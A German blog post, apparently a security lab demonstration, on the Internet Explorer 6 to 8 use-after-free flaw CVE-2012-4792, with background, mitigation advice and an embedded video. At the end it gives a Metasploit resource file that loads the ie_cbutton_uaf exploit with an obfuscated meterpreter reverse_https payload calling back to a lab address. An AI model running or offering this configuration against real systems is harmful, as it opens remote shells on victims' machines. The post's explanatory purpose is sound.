Diese neue Sicherheitslücke im Internet Explorer wurde von Sicherheitsexperten der Firma FireEye entdeckt nachdem sie eine Analyse von kompromittierten Webseiten erstellt hatten. Durch diese Lücke hatten Angreifer Schadcode in die Systeme von IE-Nutzers einschleust, wenn sie diese speziell präparierte Webseite besucht hatten. Die Angreifer hatten zunächst mit Hilfe eins Flash-Applets Shellcode im Arbeitsspeicher verteilt (Heap Spraying), um dann unter Ausnutzung dieser IE Schwachstelle gezielt eigenen Code auszuführen.
Der Angriff war ursprünglich auf Nutzer der Systemsprache US-Englisch, Chinesisch, Japanisch, Koreanisch oder Russisch ausgerichtet. Betroffen sind die Versionen 6 bis 8 des Internet Explorers. Zum gegenwärtigen Stand ist die Sicherheitslücke nicht geschlossen.
Die Entwickler von Metasploit haben einen Exploit für diese Schwachstelle entwickelt. Nach meinen Test funktioniert er derzeit nur auf englischsprachigen Systemen. Im nachfolgenden Video nutze ich Windows XP Home. Interessant ist auch hier, dass der installierte Virenschutz (hier Microsoft Security Essentials in der aktuellen Version) keine Hürde darstellt.
Rapid 7 beschreibt die Schwachstelle (CVE-2012-4792) hier etwas genauer und rät in der Zwischenzeit das von Microsoft bereitgestellte EMET-Tools zu nutzen oder auf eine höhere Version des IE umzusteigen.
In der Zwischenzeit ist wieder eine Diskussion angefacht worden. Ist das ständige Patchen von Sicherheitslücken der richtige Weg? Sollte man nicht andere, konzeptionelle Lösungen finden? Hier ein interessanter Blog-Eintrag.
Für den Exploit-Vorgang zu vereinfachen nutze ich folgende Resource-Datei:
use exploit/windows/browser/ie_cbutton_uaf
set payload windows/meterpreter/reverse_https
set lport 443
set lhost 192.168.111.215
set uripath /
set svrport 80
set obfuscate true
show options
Hier das Video aus meinem Testlabor:
[vimeo 58286779 540 380]